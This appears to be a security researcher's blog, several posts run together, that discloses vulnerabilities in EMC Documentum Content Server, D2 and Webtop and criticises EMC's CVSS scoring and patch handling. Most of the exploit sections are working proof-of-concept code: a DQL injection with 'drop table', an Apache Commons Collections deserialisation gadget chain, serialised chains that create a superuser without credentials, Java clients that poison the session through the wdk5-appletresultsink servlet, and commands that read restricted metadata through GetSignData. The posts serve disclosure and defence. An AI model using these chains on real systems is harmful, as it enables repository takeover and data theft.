Poor documentation or backdoor?

Four months ago I disclosed a vulnerability in Documentum 7.3/PostgreSQL, which allows attacker to execute arbitrary SQL statements, interesting thing here is vulnerability description is bit wrong, i.e. prerequisite “return_top_results_row_based config option is set to false” is not required:

Connected to Documentum Server running Release 7.3.0010.0013  Linux64.Postgres
Session id is s0
API> ?,c,select count(*) from dm_user ENABLE (RETURN_RANGE 1 10 '1;drop table dm_user_s;')
     [DM_QUERY_E_INVALID_POSITION]error:  
       "The ORDER BY position number 1;drop table dm_user_s;  
       is out of range of the number of items in the select list."


API> ?,c,select count(*) from dm_user ENABLE (OBJECT_BASED,RETURN_RANGE 1 10 '1;drop table dm_user_s;')
     [DM_QUERY_E_CURSOR_ERROR]error:  
       "A database error has occurred during the creation of a cursor 
       (' STATE=2BP01, CODE=7, MSG=ERROR: cannot drop table dm_user_s 
       because other objects depend on it; Error while executing the query')."

What is OBJECT_BASED hint?

D2 4.6

Well, couple of weeks ago EMC bumped version of D2 and now they claim that this version has some security enhancements and these enhancements are so serious that all customers are recommended to upgrade their installations “at the earliest opportunity”:

Prior to EMC Documentum D2 4.6, many D2 Configuration object types were not properly protected with ACLs. As a result, an authenticated but unprivileged user could then modify or delete such objects.
Resolution

The following EMC Documentum D2 release contains resolutions to these vulnerabilities:

EMC Documentum D2 4.6

EMC recommends that all customers upgrade to D2 4.6 at the earliest opportunity

Yesterday Yuri Simione published a great post containing his thoughts about this vulnerability, unfortunately thoughts of Yuri Simione are just a half of the truth, and the real situation is much worse than you might expect. But before revealing all the cards let concentrate on EMC’s announce only. There are two main points:

The first point is really ridiculous because previously ECM claimed following about support policy for D2 4.5:

New D2 4.5 Support Windows:
Primary support extended to the April 30, 2019
Secondary support extended to April 30 of 2022

And as you can see D2 4.5 is not fully supported anymore. Doesn’t it look enticing to announce long support windows but every year forcibly move customers to new version?

The second point looks strange for me because security impact was either overestimated or underestimated. Take a look at EMC’s estimations:

and try to interpret values of CVSS vector:

  • AV:N – Attack Vector = Network – OK
  • AC:L – Access Complexity = Low – OK
  • PR:L – Privileges Required = Low – OK
  • UI:N – User Interaction = No – OK
  • S:U – Scope = Unchanged – see below
  • C:H – Confidentiality Impact = High – see below
  • I:H – Integrity Impact = High – OK
  • A:H – Availability Impact = High – OK

values of two metrics (Scope and Confidentiality Impact) look extremely doubtful: before D2 4.6 any authenticated user was able to read D2 configs stored in database and in D2 4.6 any authenticated user is able to read D2 configs stored in database, so, I do not see any “Confidentiality Impact” there, and this means that either “Confidentiality Impact” is not properly estimated or EMC tries to hide something. Fortunately, I was the original researcher of the most vulnerabilities in D2 and I do know the truth. Here you can find a list of unresolved vulnerabilities in Documentum product stack, this list was provided by CERT on February 2015, and there you can find following EMC’s comment:

Fixing PSRC-2105 will be a major undertaking and it has been decided by D2 Product Management that it will not be fixed in the next release of D2 (currently versioned as 4.2.1) scheduled GA in 2015 Q2 due to resource constraints. The remediation plan here then is to fix PSRC-2105 in 2015 after the upcoming D2 4.2.1 release.

It appears that the fixed releases communicated for this issue were incorrect. This has not been fixed because the vulnerability described in PSRC-2105 (D2 configuration objects not being protected with ACLs) on which it relies has not been fixed yet. However, fixing the latter will be a major undertaking and it has been decided by D2 Product Management that it will not be fixed in the next release of D2 (currently versioned as 4.2.1) scheduled GA in 2015 Q2 due to resource constraints. The remediation plan here then is to fix PSRC-2105 in 2015 after the upcoming D2 4.2.1 release.

this comment is related to the following blogpost: CVE-2015-0518. Was it really fixed?

So, the real situation is: if D2 is installed any authenticated user is able to gain superuser privileges, i.e. installation of D2 affects Content Server, so according to CVSS guide (“an exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component”) the value of Scope metric is “Changed” and the real CCVS vector is:

CVSS cheating

I had never touched on this topic before, but it was always interesting for me what causes EMC to mess with CVSS scores in their vulnerability reports, below are some examples based on ESA-2015-131:

EMC score:

Authenticated Content Server users with sysadmin privileges may potentially escalate their privileges to become a super-user due to improper authorization checks performed on subgroups that exists within the dm_superusers group and other privileged groups. This may potentially be exploited by a malicious attacker to gain unauthorized access to data or to perform unauthorized actions on Content Server. The previous fix for CVE-2014-4622 was incomplete.
CVE ID: CVE-2015-4531
CVSS v2 Base Score: 7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C)

NVD score:

CVSS v2 Base Score: 9.0 HIGH
Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Impact Subscore: 10.0
Exploitability Subscore: 8.0

EMC score:

Authenticated non-privileged Content Server users are allowed to run save RPC commands with super user privileges on arbitrary objects. This is due to improper user authorization checks and object type checks being performed on these objects. This may potentially be exploited by a malicious, authenticated non-privileged user to perform unauthorized actions on Content Server including executing arbitrary code. The previous fix for CVE-2014-2514 was incomplete.
CVE ID: CVE-2015-4532
CVSS v2 Base Score: 8.2 (AV:N/AC:M/Au:S/C:C/I:C/A:P)

NVD score:

CVSS v2 Base Score: 9.0 HIGH
Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Impact Subscore: 10.0
Exploitability Subscore: 8.0

EMC score:

Authenticated non-privileged Content Server users are allowed to execute arbitrary code with super user privileges via custom scripts. This is due to improper authorization checks being performed on the objects created. This may potentially be exploited to perform unauthorized actions on Content Server. The previous fix for CVE-2014-2513 was incomplete.
CVE ID: CVE-2015-4533
CVSS v2 Base Score: 8.2 (AV:N/AC:M/Au:S/C:C/I:C/A:P)

NVD score:

CVSS v2 Base Score: 9.0 HIGH
Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Impact Subscore: 10.0
Exploitability Subscore: 8.0

EMC score:

Content Server delegates execution of business logic to an embedded java application server called “Java Method Server” (JMS). JMS fails to properly validate digital signatures, leading to the possibility of arbitrary code execution on the Content Server. An attacker capable of crafting a digital signature for a query string without the method_verb parameter may be able to execute arbitrary code in Content Server in JMS context, depending on Java classes present in the classloader.
CVE ID: CVE-2015-4534
CVSS v2 Base Score: 8.2 (AV:N/AC:M/Au:S/C:P/I:C/A:C)

NVD score:

CVSS v2 Base Score: 9.0 HIGH
Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Impact Subscore: 10.0
Exploitability Subscore: 8.0

As you can see, EMC typically messes with “Access Complexity” and “* Impact” metrics, though these metrics either have an obvious nature (attacker gains superuser privileges, why was the “Availability Impact” estimated as “partial”?) or have a pretty straightforward clarification:

Access Complexity = Medium
The access conditions are somewhat specialized; the following are examples:

  • The attacking party is limited to a group of systems or users at some level of authorization, possibly untrusted.
  • Some information must be gathered before a successful attack can be launched.
  • The affected configuration is non-default, and is not commonly configured (e.g., a vulnerability present when a server performs user account authentication via a specific scheme, but not present for another authentication scheme).
  • The attack requires a small amount of social engineering that might occasionally fool cautious users (e.g., phishing attacks that modify a web browsers status bar to show a false link, having to be on someones buddy list before sending an IM exploit).

Another two D2 remote code executions. Webtop is affected

That was obvious that Apache Commons Collections is not the only vulnerable library, and on this week another two possibilities were disclosed:

D2 remote code execution

As was promised previously I publish information about a super mega severe vulnerability in D2.

On November-December 2015 I was so busy on a project that I had missed a disclosure of deserialisation vulnerability in Apache Commons Collections Java library. FoxGlove Security blog contains a thorough explanation of what had happened – it is really worth to read it because Gabriel Lawrence, Chris Frohoff and Stephen Breen produced a tremendous amount of work – I was need to read it twice to understand what is going on and I spent about four hours to write a more clear version of exploit (AnnotationInvocationHandler magic was not clear for me):

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "commons-collections:commons-collections:3.1" })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<Map> {

	public Map getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
						new Object[] { null, new Object[0] }),
				new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, new ChainedTransformer(transformers));

		CompositeInvocationHandlerImpl handler = new CompositeInvocationHandlerImpl();
		handler.setDefaultHandler(new InvocationHandler() {
			public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
				return method.invoke(new HashMap(), args);
			}
		});
		Map<Object, Object> result = new HashMap<Object, Object>();
		result.put(Gadgets.createProxy(handler, Map.class), null);
		Reflections.setFieldValue(handler, "classToInvocationHandler", lazyMap);
		handler.setDefaultHandler(null);

		return result;
	}

}

The interesting thing in all this story is a reaction of vendors and community. Some of people start panic, for example: Using Java? This is The Next Heartbleed You Should Be Worried About (generally, vulnerability in ACC has more in common with Shellshock rather than with Heartbleed – in case of Shellshock if you were using dangerous system(3) call you were bloody idiot, in case of ACC deserialization vulnerability if you accept serialized objects from untrusted sources you are lazy moron, in case of Heartbleed I can’t say something like “suck to be you if you are using TLS”), another people started blaming on researchers:

Because this is so negligent Lawrence and Frohoff didn’t bother to report this directly to the Apache Commons project.

ASF failed to announce vulnerability properly – it is still not clear what versions of ACC library are affected: CERT/CC states that “both versions 3.2.1 and 4.0 of the Apache Commons Collections library have been identified as being vulnerable to this deserialization issue”, but Frohoff’s PoC is based on 3.1 (version 3.0, which Webtop is based on, is not affected). It seems that the only company which was able to properly evaluate security risks is a Cisco Systems – please check their security advisory, moreover I always respect Cisco for their security advisories: if you ask google about “This vulnerability was discovered by Cisco during internal testing” you get a bunch of references to Cisco’s advisories – could you provide any other company which is doing the same? I don’t think so. For example, EMC states that they also have internal security testing (full presentation is available here):

but have you ever read about vulnerabilities “discovered by EMC during internal testing”? Frankly speaking, EMC states that “In accordance with industry practices, EMC does not share the findings from internal security testing or other types of security activities with external entities.“, but what the heck is “industry practices”? I always thought that if you get paid by customer you must care about customer and keep him informed and secure, moreover Cisco has more employees, more revenue than EMC, do they want to say that Cisco do not follow “industry practices”? So, I doubt that EMC performs any internal testing – at least it is clear that they don’t perform “root cause analysis” and “regression testing“, so, there is no reason for other blocks to be true (though, the half of blog’s subscribers are EMC employees, so it seems that they need to add “blog.documentum.pro” block onto their diagram). But today I’m going to put doubts on “proactively monitoring embedded components” block. Below is what EMC states about “embedded components”:

Well, vulnerability in ACC was announced on November 13, today is February 17, i.e. it is 96 days since announcement of vulnerability in ACC. Let’s check whether D2 contains vulnerable library:

[dmadmin@docu72dev01 distr]$ unzip D2_4.5.0_P05.zip 
Archive:  D2_4.5.0_P05.zip
   creating: D2_4.5.0_P05/
   creating: D2_4.5.0_P05/Plugins/
  inflating: D2_4.5.0_P05/D2-Configurator_4.5.0.jar  
  inflating: D2_4.5.0_P05/D2-Installer-4.5.0.jar  
  inflating: D2_4.5.0_P05/Plugins/D2-BOCS-4.5.0.war  
  inflating: D2_4.5.0_P05/Plugins/D2-RPS-Dar-Install.zip  
[dmadmin@docu72dev01 distr]$ cd D2_4.5.0_P05
[dmadmin@docu72dev01 D2_4.5.0_P05]$ java -jar D2-Installer-4.5.0.jar 
...
[dmadmin@docu72dev01 D2]$ zipinfo D2.war | grep commons-collections
-rw-r--r--  2.0 unx   571259 b- defN 15-Aug-18 14:38 WEB-INF/lib/commons-collections-3.2.jar
[dmadmin@docu72dev01 D2]$ zipinfo D2-Config.war | grep commons-collections
-rw-r--r--  2.0 unx   571259 b- defN 13-Jul-23 19:44 WEB-INF/lib/commons-collections-3.2.jar

Oops…

Note, that my proof of concept does not execute operating system commands like was demonstrated in Frohoff’s PoC – instead of that it creates Documentum user with superuser privileges. I have noticed that many researches like to describe how their proof of concepts work, so I will try to do the same, however if you get bored you can stop reading this post and get my proof of concept here.

Motivation

At first, initial proof of concept is bit boring: on the one hand we (Documentum users) already have a component which is able to execute arbitrary shell commands (I’m talking about Content Server), on the other hand such proof of concept assumes that attacker executes shell commands blindly, i.e. to understand wether service is vulnerable or not we need to somehow get information about whether command was executed or not, for example, we may use ping to send packets to monitored host, but what if victim service is located behind a firewall? So, creating a new user is more practicable.

At second, this blog is about Documentum, writing something like “take a look, D2 contains vulnerable java library” is boring.

First challenge

Well. The first challenge was to get DFC session without knowing any Documentum credentials, actually if DevOp is so stupid to leave default passwords for dmc_wdk_preferences_owner/dmc_wdk_presets_owner users unchanged we may construct DFC session using following code:

new DfClient().newSession("docbase", new DfLoginInfo("username", "password"));

or using very limited API provided by ACC library it will look like:

Transformer getSession = new ChainedTransformer(new Transformer[] { new ConstantTransformer(DfClient.class),
		new InstantiateTransformer(new Class[0], new Object[0]),
		new InvokerTransformer("newSession", new Class[] { String.class, IDfLoginInfo.class },
				new Object[] { "docbase", new DfLoginInfo("username", "password") }) });
getSession.transform(null);

What if we do not know Documentum credentials at all? I have found a following way to get dm_bof_registry’s session:

((List) RuntimeContext.getInstance().getSessionRegistry().getAllSessions()).get(0);

or the same using ACC API:

Transformer getSession = new ChainedTransformer(
		new Transformer[] { new ConstantTransformer(RuntimeContext.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getInstance", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
				new Object[] { null, new Object[0] }),
		new InvokerTransformer("getSessionRegistry", new Class[0], new Object[0]),
		new InvokerTransformer("getAllSessions", new Class[0], new Object[0]),
		new InvokerTransformer("get", new Class[] { int.class }, new Object[] { 0 }), });

Now there are two other challenges:

  • we need to somehow execute docbase queries
  • we need to somehow evaluate privileges

The third one is less important: at first, I know about 10 ways to evaluate privileges in Documentum (haha, keep me away from accessing your Documentum, otherwise it hurts me because I don’t like making a choice), at second, if you are lucky enough SessionRegistry may contain privileged sessions – just play with array’s index, at third, in order to evaluate privileges it is still required to execute queries.

Second challenge

  • It is not possible to invoke com.documentum.fc.client.IDfQuery#execute using ACC API – it accepts IDfSession as argument
  • com.documentum.fc.client.IDfSession#apply looks like what we need, but it accepts IDfList as argument, and IDfList has no serializable implementations
  • com.documentum.fc.client.impl.session.ISession#query(java.lang.String, boolean, boolean) – good candidate if we need to execute DQL queries only
  • com.documentum.fc.client.impl.docbase.DocbaseApi#parameterizedApply is our champion – it allows to execute arbitrary RPC command

Below is a serializable chain to create Documentum user:

Transformer getSession = new ChainedTransformer(
		new Transformer[] { new ConstantTransformer(RuntimeContext.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getInstance", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
				new Object[] { null, new Object[0] }),
		new InvokerTransformer("getSessionRegistry", new Class[0], new Object[0]),
		new InvokerTransformer("getAllSessions", new Class[0], new Object[0]),
		new InvokerTransformer("get", new Class[] { int.class }, new Object[] { 0 }), });

Transformer getDocbaseAPI = new ChainedTransformer(
		new Transformer[] { getSession, new InvokerTransformer("getDocbaseApi", new Class[0], new Object[0]) });

ITypedData createUserQuery = new DynamicallyTypedData();
createUserQuery.appendString("QUERY",
		"CREATE dm_user object SET user_name='" + userName + "', SET user_login_name='" + userName
				+ "', SET user_source='inline password', SET user_password='" + userName
				+ "', SET user_privileges=16");

Transformer createUser = new ChainedTransformer(new Transformer[] { getDocbaseAPI,
		new InvokerTransformer("parameterizedApply",
				new Class[] { String.class, IDfId.class, ITypedData.class, boolean.class },
				new Object[] { "EXEC", DfId.DF_NULLID, createUserQuery, false }),
		new ConstantTransformer(null) });

Third challenge

The most obvious idea to evaluate privileges in Documentum is to take advantage of dcs_privileged_users group, i.e. relying on previous code it may look like:

ITypedData createUserQuery = new DynamicallyTypedData();
createUserQuery.appendString("QUERY",
		"CREATE dm_user object SET user_name='" + userName + "', SET user_login_name='" + userName
				+ "', SET user_source='inline password', SET user_password='" + userName
				+ "', SET user_privileges=16");
createUserQuery.appendString(" __REQUESTED_PROTECTED_ROLES", "dcs_privileged_users");

Unfortunately this idea is doomed to failure in case of D2 4.5 – dcs_privileged_users is now secured. Most of other ways require a lot of coding because ACC API is extremelly limited, so I have chosen an approach described in When will EMC stop fighting with customers and start care about them? blogpost:

ITypedData createRegisteredQuery = new DynamicallyTypedData();
createRegisteredQuery.appendBoolean("IS_NEW_OBJECT", true);
createRegisteredQuery.appendString("OBJECT_TYPE", "DM_REGISTERED");
createRegisteredQuery.appendInt("i_vstamp", 0);
createRegisteredQuery.appendString("table_name", "dm_user_s");
createRegisteredQuery.appendString("table_owner", docbaseName);
createRegisteredQuery.appendString("owner_name", docbaseName);
createRegisteredQuery.appendInt("world_permit", 7);
createRegisteredQuery.appendString("object_name", "dm_user_s");
createRegisteredQuery.appendInt("owner_table_permit", 15);
createRegisteredQuery.appendInt("group_table_permit", 15);
createRegisteredQuery.appendInt("world_table_permit", 15);
createRegisteredQuery.appendString("r_object_type", "dm_registered");

Transformer createRegistered = new ChainedTransformer(
		new Transformer[] { getDocbaseAPI,
				new InvokerTransformer("parameterizedApply", new Class[] { String.class, IDfId.class,
						ITypedData.class, boolean.class },
				new Object[] { "SysObjSave", new DfId("1900000080000001"), createRegisteredQuery, false }),
		new ConstantTransformer(null) });

The funny thing here is Content Server allows to create objects having out-of-sequence r_object_id, moreover, it seems that Content Server ignores docbase part of r_object_id – we do not need to execute NEXT_ID_LIST RPC command to acquire brand new r_object_id.

Webtop

Previously I noticed that Webtop contains ACC library of version 3.0 and it this version is not affected, unfortunately, this is only a half of the truth. If we consider the problem more globally, i.e. “if you accept serialized objects from untrusted sources you are lazy moron“, everything become more interesting. Well, all wdk applications have an extremely ancient servlet:

    <servlet>
        <description>Servlet used by applets to return results</description>
        <servlet-name>wdk5-appletresultsink</servlet-name>
        <servlet-class>com.documentum.web.servlet.AppletResultSink</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>wdk5-appletresultsink</servlet-name>
        <url-pattern>/wdk5-appletresultsink</url-pattern>
    </servlet-mapping>

This servlet do something like:

protected void service(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException {
    String contentType = request.getContentType();
    if (!"application/x-www-form-urlencoded".equals(contentType)
            && !"application/x-deflated-java-serialized-object".equals(contentType)) {
        ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
        SessionState.setAttribute(ois.readObject().toString(), ois.readObject());
    }
}

Amazing, wdk5-appletresultsink servlet allows to inject arbitrary value into HttpSession. Now, do you have any idea how PrivilegeQualifier and RoleQualifier work? Actually, they both do something like:

@Override
public String getScopeValue(QualifierContext qualifierContext) {
	String userName = SessionManagerHttpBinding.getUsername();
	IDfSessionManager sessionManager = SessionManagerHttpBinding.getSessionManager();
	IDfSession session = null;
	try {
		 session = sessionManager.getSession(SessionManagerHttpBinding.getCurrentDocbase());
		// some logic here
	} finally {
		if (session != null) {
			sessionManager.release(session);
		}
	}
}

What the heck is SessionManagerHttpBinding.getUsername()? Actually, it does something like:

public static String getUsername() {
	String docbase = getCurrentDocbase();
	String userKey = docbase + ".dctm.roleService.username";
	return SessionState.getAttribute(userKey);
}

So, we may poison PrivilegeQualifier and RoleQualifier qualifiers by poisoning HttpSession, i.e.:

public static void main(String[] args) throws Exception {
	String url = args[0];
	String docbase = args[1];
	String jsessionId = args[2];

	HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
	conn.setRequestProperty("Content-Type", "pwned");
	conn.setRequestMethod("POST");
	conn.setUseCaches(false);
	conn.setDoOutput(true);
	conn.setRequestProperty("Cookie", "JSESSIONID=" + jsessionId);
	ObjectOutputStream oos = new ObjectOutputStream(conn.getOutputStream());
	oos.writeObject(docbase + ".dctm.roleService.username");
	oos.writeObject(docbase);
	oos.flush();
	oos.close();
	conn.connect();
}

public static String makeUrl(String url) {
	if (!url.endsWith("/")) {
		url += "/";
	}
	return url + "wdk5-appletresultsink";
}

The problem is in recent WDK versions EMC introduced dumb security checks and we can’t open /webtop/component/api directly, good news is those checks are also based on HttpSession.

public static void main(String[] args) throws Exception {
	String url = args[0];
	String docbase = args[1];
	String jsessionId = args[2];
	sendRequest(url, jsessionId, docbase + ".dctm.roleService.username", docbase);
	RandomIdCache cache = new RandomIdCache();
	cache.put(String.valueOf(0), null);
	sendRequest(url, jsessionId, "RandomIdCache", cache);
}

public static void sendRequest(String url, String jsessionId, Object... data) throws Exception {
	HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
	conn.setRequestProperty("Content-Type", "pwned");
	conn.setRequestMethod("POST");
	conn.setUseCaches(false);
	conn.setDoOutput(true);
	conn.setRequestProperty("Cookie", "JSESSIONID=" + jsessionId);
	ObjectOutputStream oos = new ObjectOutputStream(conn.getOutputStream());
	for (Object o : data) {
		oos.writeObject(o);
	}
	oos.flush();
	oos.close();
	conn.connect();
}

public static String makeUrl(String url) {
	if (!url.endsWith("/")) {
		url += "/";
	}
	return url + "wdk5-appletresultsink";
}

Extra “protection” with trusted content services :)

Just to continue a theme about usefulness of TCS option mentioned in Some ideas about organising storage for content files.

GetSignData RPC-command is intended to verify digital signature of dm_audittrail:

API> retrieve,c,dm_audittrail
...
5f024be980000100
API> get,c,l,_sign_data
...
<audit-record>
<dctm-attr name="r_object_id" type="ID"><![CDATA[5f024be980000100]]></dctm-attr>
<dctm-attr name="event_name" type="STRING"><![CDATA[dm_logon_failure]]></dctm-attr>
<dctm-attr name="event_source" type="STRING"><![CDATA[System Unspecific]]></dctm-attr>
<dctm-attr name="r_gen_source" type="INT"><![CDATA[1]]></dctm-attr>
<dctm-attr name="user_name" type="STRING"><![CDATA[dm_bof_registry]]></dctm-attr>
<dctm-attr name="audited_obj_id" type="ID"><![CDATA[11024be980000139]]></dctm-attr>
<dctm-attr name="time_stamp" type="TIME"><![CDATA[2015-05-05 15:24:19]]></dctm-attr>
<dctm-attr name="string_1" type="STRING"><![CDATA[dm_bof_registry]]></dctm-attr>
<dctm-attr name="string_2" type="STRING"><![CDATA[dm_bof_registry]]></dctm-attr>
<dctm-attr name="string_3" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="string_4" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="string_5" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="id_1" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="id_2" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="id_3" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="id_4" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="id_5" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="chronicle_id" type="ID"><![CDATA[11024be980000139]]></dctm-attr>
<dctm-attr name="object_name" type="STRING"><![CDATA[dm_bof_registry]]></dctm-attr>
<dctm-attr name="version_label" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="object_type" type="STRING"><![CDATA[dm_user]]></dctm-attr>
<dctm-attr name="event_description" type="STRING"><![CDATA[Logon Failure]]></dctm-attr>
<dctm-attr name="policy_id" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="current_state" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="workflow_id" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="session_id" type="ID"><![CDATA[01024be980000123]]></dctm-attr>
<dctm-attr name="user_id" type="ID"><![CDATA[11024be980000139]]></dctm-attr>
<dctm-attr name="owner_name" type="STRING"><![CDATA[dm_bof_registry]]></dctm-attr>
<dctm-attr name="acl_name" type="STRING"><![CDATA[dm_45024be98000021f]]></dctm-attr>
<dctm-attr name="acl_domain" type="STRING"><![CDATA[dm_bof_registry]]></dctm-attr>
<dctm-attr name="application_code" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="controlling_app" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="attribute_list" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="attribute_list_id" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
<dctm-attr name="audit_version" type="INT"><![CDATA[4]]></dctm-attr>
<dctm-attr name="host_name" type="STRING"><![CDATA[docu72dev01]]></dctm-attr>
<dctm-attr name="time_stamp_utc" type="TIME"><![CDATA[2015-05-05 12:24:19]]></dctm-attr>
<dctm-attr name="i_audited_obj_class" type="INT"><![CDATA[2]]></dctm-attr>
<dctm-attr name="registry_id" type="ID"><![CDATA[26024be980000100]]></dctm-attr>
<dctm-attr name="audited_obj_vstamp" type="INT"><![CDATA[1]]></dctm-attr>
<dctm-attr name="attribute_list_old" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="attribute_list_aspect_id" type="ID"><![CDATA[0000000000000000]]></dctm-attr>
</audit-record>

it real life it may be used to retrieve metadata of any object in repository regardless it’s security settings:

API> create,c,dm_document
...
09024be980526275
API> grant,c,l,dm_world,AccessPermit,,1
...
OK
API> save,c,l
...
OK
API> connect,DCTM_DEV,test_user,test_user
...
s1
API> fetch,c,09024be980526275
...
[DM_API_E_EXIST]error:  "Document/object specified by 09024be980526275 does not exist."

[DM_SYSOBJECT_E_NO_BROWSE_ACCESS]error:  "No browse access for sysobject with ID '09024be980526275'."


API> apply,c,09024be980526275,GetSignData
...
q0
API> next,c,q0
...
OK
API> dump,c,q0
...
USER ATTRIBUTES

  result                          : <audit-record>
<dctm-attr name="r_object_id" type="ID"><![CDATA[09024be980526275]]></dctm-attr>
<dctm-attr name="object_name" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="r_object_type" type="STRING"><![CDATA[dm_document]]></dctm-attr>
<dctm-attr name="title" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="subject" type="STRING"><![CDATA[]]></dctm-attr>
<dctm-attr name="authors" type="STRING" repeating="true" index="0"><![CDATA[]]></dctm-attr>